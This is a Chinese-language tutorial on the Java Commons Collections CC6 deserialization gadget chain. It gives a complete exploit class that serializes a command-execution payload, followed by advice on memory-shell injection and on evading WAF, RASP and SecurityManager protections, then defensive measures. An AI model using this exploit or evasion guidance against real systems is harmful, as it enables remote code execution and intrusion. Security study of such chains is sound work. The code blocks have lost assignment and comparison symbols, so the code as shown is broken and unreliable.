Java反序列化漏洞CC6链原理与实战:从HashMap到命令执行
1. 项目概述今天我们来拆解一个在Java安全领域尤其是反序列化漏洞研究中绕不开的经典话题——CC6链。如果你正在学习Java安全或者对“反序列化漏洞利用链”这个听起来有点唬人的名词感到好奇那么这篇文章就是为你准备的。CC6链全称Commons Collections 6利用链是Apache Commons Collections库版本3.2.1中一个影响深远的安全漏洞利用方式。它之所以被称为“通用版CC链”核心原因在于其不依赖于特定的JDK内部类比如高版本JDK中已被修复的AnnotationInvocationHandler从而具备了跨JDK版本的通用性。简单来说只要目标系统使用了存在漏洞版本的Commons Collections库无论其JDK是8u71之前还是之后甚至是更新的版本理论上都存在被攻击的风险。这篇文章我将从一个一线安全研究者的视角带你从零开始一步步拆解CC6链的构造原理、关键环节和那些在实战中容易踩到的“坑”。我们不止要弄懂它“是什么”更要彻底搞清楚它“为什么”能这样工作以及在实际的代码审计或漏洞复现中如何灵活运用和绕过各种限制。2. CC6链的核心设计思路与演进背景2.1 从CC1到CC6为什么需要新的链要理解CC6必须先回顾一下它的前辈CC1链。CC1链的核心是利用TransformedMap或LazyMap与AnnotationInvocationHandler类的readObject方法进行结合。在JDK 8u71版本之前AnnotationInvocationHandler.readObject()方法中有一个关键操作在反序列化过程中会调用memberValues.entrySet()遍历并对每个条目调用setValue方法。这个setValue方法如果memberValues是一个TransformedMap就会触发我们预先设置好的Transformer调用链最终达到执行任意命令的目的。然而从JDK 8u71开始Oracle对AnnotationInvocationHandler类进行了重写。在新的readObject方法中它创建了一个全新的LinkedHashMap对象通常命名为mv并将反序列化得到的数据填充到这个新Map中所有的后续操作都基于这个新Map。这意味着我们精心构造的、带有恶意Transformer的TransformedMap或LazyMap对象在反序列化过程中根本不会被触发setValue或get方法利用链就此断裂。注意这个修改是CC1链在高版本JDK上失效的根本原因。很多初学者在复现CC1时如果使用的是较新的JDK环境比如现在主流的JDK 8u191甚至JDK 11, 17会发现POC无法成功首要怀疑点就应该检查JDK版本和AnnotationInvocationHandler的实现。因此安全研究人员需要寻找一条不依赖于AnnotationInvocationHandler这个“入口点”的新利用链。CC6链应运而生它的核心思路是寻找一个在反序列化时必然会被调用且其调用链能最终触及LazyMap.get()方法的通用Java类。这个类就是HashMap。2.2 CC6链的总体攻击路径CC6链的整体调用栈非常清晰它像搭积木一样将几个类的特定方法串联起来。我们先俯瞰全貌HashMap.readObject() - HashMap.hash(key) // 计算键的哈希值 - key.hashCode() // 调用作为Key的对象的hashCode方法 - TiedMapEntry.hashCode() - TiedMapEntry.getValue() - LazyMap.get(key) - ChainedTransformer.transform(key) - 一系列InvokerTransformer.transform() - 通过反射调用Runtime.getRuntime().exec(命令)这条路径的巧妙之处在于入口通用HashMap是Java集合框架中最常用、最基础的类之一几乎在所有Java应用中都会出现。它的readObject方法在反序列化时为了重建哈希表结构必须为每个键Key计算哈希值。桥梁巧妙TiedMapEntry是Commons Collections提供的一个类它将一个Map和一个Key绑定在一起。它的hashCode方法实现中会调用getValue()进而调用其绑定的Map的get()方法。这完美地将HashMap的hashCode调用引导至我们控制的Map上。执行引擎稳定LazyMap和ChainedTransformer、InvokerTransformer的组合是Commons Collections链的“标准payload生成器”负责将简单的键查找操作转化为危险的命令执行。这个设计使得CC6链摆脱了对特定JDK内部类的依赖只要目标应用中引入了存在漏洞的Commons Collections库并且反序列化了我们构造的HashMap对象攻击就可能发生。3. 核心组件深度解析与关键方法剖析3.1 起点HashMap的readObject与hash计算HashMap在反序列化时其readObject方法会读取存储的键值对并调用putVal方法将它们重新放入哈希表中。putVal的第一个参数就是hash(key)即键的哈希值。// HashMap.readObject 片段 (简化) private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // ... 读取容量、负载因子等 for (int i 0; i mappings; i) { K key (K) s.readObject(); // 反序列化Key V value (V) s.readObject(); // 反序列化Value putVal(hash(key), key, value, false, false); // 关键这里调用了hash(key) } } static final int hash(Object key) { int h; return (key null) ? 0 : (h key.hashCode()) ^ (h 16); // 关键这里调用了key.hashCode() }为什么这里是突破口因为反序列化过程是“黑盒”的代码逻辑决定了必须为每个反序列化出来的Key对象计算哈希值。我们无法控制HashMap的readObject逻辑但我们可以控制被当作Key反序列化的那个对象。只要我们能让这个Key对象的hashCode()方法触发我们的恶意逻辑就成功了一半。实操心得在审计寻找反序列化入口点时HashMap、Hashtable、HashSet等依赖于hashCode或equals方法的集合类是需要重点关注的对象。它们的反序列化行为常常会触发这些方法。3.2 桥梁TiedMapEntry的hashCode与getValueorg.apache.commons.collections.keyvalue.TiedMapEntry是一个将Map和特定Key绑定在一起的键值对封装类。public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map map; this.key key; } public Object getValue() { return this.map.get(this.key); // 关键方法调用Map的get } public int hashCode() { Object value this.getValue(); // 关键hashCode()中调用了getValue() return (this.getKey() null ? 0 : this.getKey().hashCode()) ^ (value null ? 0 : value.hashCode()); } // ... 其他方法 }它的核心作用是什么TiedMapEntry本身就是一个Map.Entry。它的hashCode()方法实现为了计算自身的哈希值需要同时计算其key和value的哈希值。而获取value的方式就是调用getValue()进而调用其绑定的map.get(key)。这就产生了一条调用链TiedMapEntry.hashCode() - getValue() - map.get(key)。如果我们能让map是一个特殊的LazyMap并且key是一个特定的值那么当TiedMapEntry的hashCode()被调用时就会触发LazyMap.get()。3.3 执行引擎LazyMap的惰性求值与Transformer链org.apache.commons.collections.map.LazyMap是一个装饰器它包装另一个Map并提供一个Transformer工厂。当调用其get(Object key)方法时如果key不存在于底层Map中它会使用Transformer来“惰性”地生成一个value并存入Map。public class LazyMap extends AbstractMapDecorator implements Map { protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { if (!this.map.containsKey(key)) { // 如果key不存在 Object value this.factory.transform(key); // 关键调用Transformer生成value this.map.put(key, value); return value; } return this.map.get(key); } }如何与Transformer链结合这里的factory是一个Transformer对象。我们可以将一个ChainedTransformer链设置给它。ChainedTransformer会将一组Transformer按顺序执行。而InvokerTransformer是其中最危险的一个它可以通过反射调用任意方法。经典的命令执行Transformer链构造如下Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), // 1. 返回Runtime.class对象 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), // 2. 反射调用Runtime.class.getMethod(getRuntime) new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 3. 反射调用method.invoke(null, null)得到Runtime.getRuntime()实例 new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 4. 反射调用runtime.exec(calc.exe) }; ChainedTransformer chain new ChainedTransformer(transformers);当LazyMap.get(key)被触发且key不存在时chain.transform(key)就会被调用。这个key参数在transform过程中其实被忽略了因为第一步ConstantTransformer直接返回了Runtime.class整个反射链会依次执行最终弹出计算器。4. CC6链完整构造流程与实战POC编写理解了各个组件我们现在像搭乐高一样把它们组装起来。这里会详细说明每一步的意图和必须注意的细节。4.1 第一步构造Transformer执行链这是payload的核心负责最终的命令执行。代码上面已经给出。这里强调几个细节起始点ConstantTransformer(Runtime.class)是固定的它提供了反射的起点。方法调用InvokerTransformer的三个参数分别是方法名、参数类型数组、参数值数组。必须严格匹配目标方法的签名。命令修改最后一步InvokerTransformer的exec参数可以替换成任何系统命令如/bin/bash -c ...或cmd /c ...。4.2 第二步创建LazyMap并避免提前触发这是第一个容易踩坑的地方。我们想将LazyMap和TiedMapEntry绑定。// 错误示范直接传入恶意chain Map lazyMap LazyMap.decorate(new HashMap(), chain); // 此时factory是chain TiedMapEntry entry new TiedMapEntry(lazyMap, “dummykey”); HashMap hashMap new HashMap(); hashMap.put(entry, “dummyvalue”); // 问题发生在这里当你调用hashMap.put(entry, “dummyvalue”)时HashMap会立即计算entry的哈希值即调用entry.hashCode()-entry.getValue()-lazyMap.get(“dummykey”)。由于lazyMap初始为空get(“dummykey”)会触发chain.transform(“dummykey”)导致命令在序列化之前就被执行了这不是我们想要的。我们希望在反序列化时才触发。解决方案偷梁换柱我们先用一个无害的Transformer如ConstantTransformer(1)创建LazyMap完成所有组装。在序列化之前再通过反射将LazyMap内部的factory字段替换成恶意的chain。// 1. 先用一个无害的Transformer创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 2. 创建TiedMapEntry和HashMap TiedMapEntry entry new TiedMapEntry(lazyMap, “dummykey”); HashMap hashMap new HashMap(); hashMap.put(entry, “dummyvalue”); // 此时触发的是无害Transformer安全4.3 第三步清理LazyMap中的Key以避免反序列化时失效这是第二个关键坑点。在上一步hashMap.put调用后虽然触发的是无害Transformer但lazyMap.get(“dummykey”)仍然执行了。根据LazyMap.get的逻辑由于“dummykey”不存在它会调用factory.transform(“dummykey”)此时是无害的返回整数1然后将“dummykey”, 1这个键值对放入lazyMap中。记住LazyMap.get的触发条件是if (!map.containsKey(key))。如果在反序列化时lazyMap里已经包含了“dummykey”那么get方法会直接返回已存在的value而不会去调用factory.transform()导致恶意链无法触发。解决方案事后删除在put操作之后手动从lazyMap中移除这个测试用的key。lazyMap.remove(“dummykey”); // 清理现场确保反序列化时key不存在4.4 第四步通过反射注入恶意Transformer链现在lazyMap的factory还是那个无害的ConstantTransformer(1)。我们需要在序列化前将其替换成我们准备好的恶意ChainedTransformer。Class clazz LazyMap.class; Field factoryField clazz.getDeclaredField(“factory”); factoryField.setAccessible(true); // 突破私有限制 factoryField.set(lazyMap, chain); // 注入恶意链4.5 第五步序列化与反序列化触发将构造好的hashMap对象序列化到文件或字节流中。ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(“cc6.bin”)); oos.writeObject(hashMap); oos.close();当受害者程序使用了有漏洞的Commons Collections库反序列化这个cc6.bin文件时ObjectInputStream ois new ObjectInputStream(new FileInputStream(“cc6.bin”)); HashMap map (HashMap) ois.readObject(); // 触发点readObject会重建HashMap为每个Key即我们的TiedMapEntry对象计算hashCode()从而一路触发LazyMap.get()-ChainedTransformer.transform()- 命令执行。4.6 完整POC代码整合将以上所有步骤整合就得到了一个完整的、可运行的CC6链POC。务必在JDK 8u71以上版本和Commons Collections 3.2.1以下版本的环境中测试。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6Exploit { public static void main(String[] args) throws Exception { // 1. 构造恶意Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]}), new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”}) // 此处可替换为其他命令 }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 用无害Transformer创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 3. 创建TiedMapEntry和HashMap此时会触发一次无害get TiedMapEntry entry new TiedMapEntry(lazyMap, “dummykey”); HashMap hashMap new HashMap(); hashMap.put(entry, “dummyvalue”); // 4. 清理lazyMap中的key确保反序列化时能触发transform lazyMap.remove(“dummykey”); // 5. 通过反射将lazyMap的factory替换为恶意chain Field factoryField LazyMap.class.getDeclaredField(“factory”); factoryField.setAccessible(true); factoryField.set(lazyMap, chain); // 6. 序列化payload serialize(hashMap, “cc6.bin”); System.out.println(“Payload序列化完成至 cc6.bin”); // 7. 模拟受害者反序列化本地测试用 // deserialize(“cc6.bin”); } public static void serialize(Object obj, String filename) throws IOException { ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(obj); oos.close(); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois new ObjectInputStream(new FileInputStream(filename)); Object obj ois.readObject(); ois.close(); return obj; } }运行这个POC会在当前目录生成一个cc6.bin文件。在另一个使用了漏洞库的程序中反序列化此文件即可触发命令执行。5. 实战中的疑难杂症与高级技巧5.1 为什么我的POC在本地测试时不弹计算器如果你在main方法中直接调用deserialize(“cc6.bin”)进行测试可能会发现没有弹出计算器。这通常有几个原因类路径问题确保测试环境引入了正确版本的commons-collectionsJar包版本3.2.1。可以使用Maven依赖dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency安全管理器SecurityManager某些Java应用服务器或环境可能启用了SecurityManager它会禁止执行Runtime.exec()。你的payload会因权限不足而失败但可能不会抛出明显异常。在实际漏洞利用中需要考虑绕过安全管理器或执行其他无权限要求的操作。杀毒软件拦截部分主机安全软件或EDR会拦截Runtime.exec或子进程创建行为导致进程被终止。命令本身问题calc.exe是Windows命令。在Linux/Mac下测试需要使用/usr/bin/gnome-calculator、xcalc或open -a Calculator等。更好的测试命令是创建一个文件或执行一个无害的echo命令例如在Linux下使用touch /tmp/success。5.2 如何实现“无文件”落地或内存马注入在实际攻击中弹计算器只是验证真正的利用往往有更深层的目的。CC6链的Transformer链非常灵活可以执行任意Java代码。执行系统命令并获取回显这需要将命令执行的输出流读取并返回涉及进程InputStream的处理构造起来较为复杂通常需要借助TemplatesImpl等加载字节码的方式更稳定。加载字节码内存马这是更高级的利用方式。可以利用InvokerTransformer调用defineClass加载恶意字节码或者结合com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类其getOutputProperties方法在反序列化时会被调用进而执行字节码。这需要将恶意类的字节码数组通过ConstantTransformer嵌入到链中。这是CC链衍生利用如CC2, CC3, CC4的核心CC6作为载体同样可以搭载这类payload。5.3 绕过WAF或RASP的检测现代防护设备会对反序列化攻击进行检测常见策略包括检测黑名单类InvokerTransformer、ConstantTransformer、ChainedTransformer、TiedMapEntry、LazyMap等是重点监控对象。可以尝试寻找Commons Collections中其他具有类似功能的类进行替换但这通常很困难因为核心的反射调用机制离不开这些类。检测Runtime.exec调用RASP可能会在Runtime.exec()被调用时进行拦截。绕过方法包括使用ProcessBuilder通过反射调用ProcessBuilder的start()方法。使用JNDI注入在特定JDK版本下如8u191之前可以结合JdbcRowSetImpl触发JNDI lookup实现远程类加载。但这需要出网。使用本地代码加载通过sun.misc.Unsafe或java.lang.invoke.MethodHandles.Lookup等底层API执行操作。序列化数据特征WAF可能会检查序列化流的魔数AC ED 00 05和类名特征。可以通过加密、编码如Base64、拆分、加入大量无害数据等方式进行混淆。5.4 CC6链的局限性尽管CC6很强大但它并非银弹依赖Commons Collections库这是所有CC链的前提。如果目标应用没有使用这个库或者使用了修复后的版本3.2.2链就无效。需要可用的InvokerTransformer在Commons Collections 4.0版本中InvokerTransformer的构造函数被声明为package-private无法直接被外部代码实例化增加了利用难度但仍有其他方式。可能触发多次hashCode调用在某些复杂的对象图反序列化中hashCode可能被调用多次。如果我们的POC没有处理好LazyMap的键清理和状态问题可能导致链只触发一次后就失效或者因状态混乱而抛出异常。6. 从攻击到防御如何发现和修复CC6链漏洞6.1 作为攻击者如何寻找潜在利用点识别反序列化入口在代码审计中寻找所有调用ObjectInputStream.readObject()且数据源可控的地方。常见的入口点包括HTTP请求参数的反序列化某些RPC框架、自定义协议。文件上传后的反序列化处理。数据库存储的Blob字段读取。消息队列如Redis、RabbitMQ中传递的序列化对象。Serializable对象的网络传输。检查依赖库使用工具如mvn dependency:tree或OWASP Dependency-Check检查项目中是否引入了存在漏洞版本的commons-collections3.2.1。构造并测试Payload在授权测试环境下尝试向找到的入口点发送构造好的CC6序列化数据观察是否有命令执行、DNS请求可用URLDNS链探测或延迟响应等迹象。6.2 作为开发者如何有效防御升级依赖将Apache Commons Collections库升级到最新安全版本如3.2.2及以上或4.0及以上。这是最根本的解决方案。使用反序列化过滤器JEP 290如果运行在JDK 9或JDK 8u121、7u131、6u141强烈建议使用ObjectInputFilter来限制反序列化时可接受的类。可以设置一个严格的白名单只允许反序列化业务必需的类。ObjectInputStream ois new ObjectInputStream(inputStream); ObjectInputFilter filter ObjectInputFilter.Config.createFilter(“com.yourcompany.*;!*”); ois.setObjectInputFilter(filter); Object obj ois.readObject();避免反序列化不可信数据这是安全开发的第一原则。如果可能用JSON、XML、Protobuf等更安全的序列化格式替代Java原生序列化。代码审计与加固对自定义的readObject、readResolve等方法进行安全审计避免在这些方法中调用危险的方法。对于必须实现Serializable的类考虑声明一个final static long serialVersionUID并在readObject中加入验证逻辑。运行时防护RASP在应用服务器层面部署运行时应用自我保护产品它可以监控InvokerTransformer.transform、Runtime.exec等危险方法的调用并及时阻断。6.3 漏洞挖掘的思维延伸CC6链的挖掘过程体现了典型的“链式Gadget”构造思想寻找执行终点Sink如Runtime.exec()、Method.invoke()。寻找可控制的跳板Bridge如InvokerTransformer.transform()它能通过参数控制反射调用的目标。寻找串联器Chain如ChainedTransformer它能将多个跳板连接起来。寻找触发点Trigger如LazyMap.get()它在特定条件下key不存在会调用我们的Chain。寻找传播路径Propagation如TiedMapEntry.hashCode()-getValue()-Map.get()。寻找反序列化入口Source如HashMap.readObject()-hash()-hashCode()。掌握这种思维你不仅可以分析已知链还可以尝试在其他的Java库如Fastjson、Jackson、XStream、SnakeYAML等中寻找类似的Gadget组合这就是高级漏洞挖掘的开始。每一次对这类链的深入分析都是对Java语言特性、序列化机制和安全编程规范的深刻复习。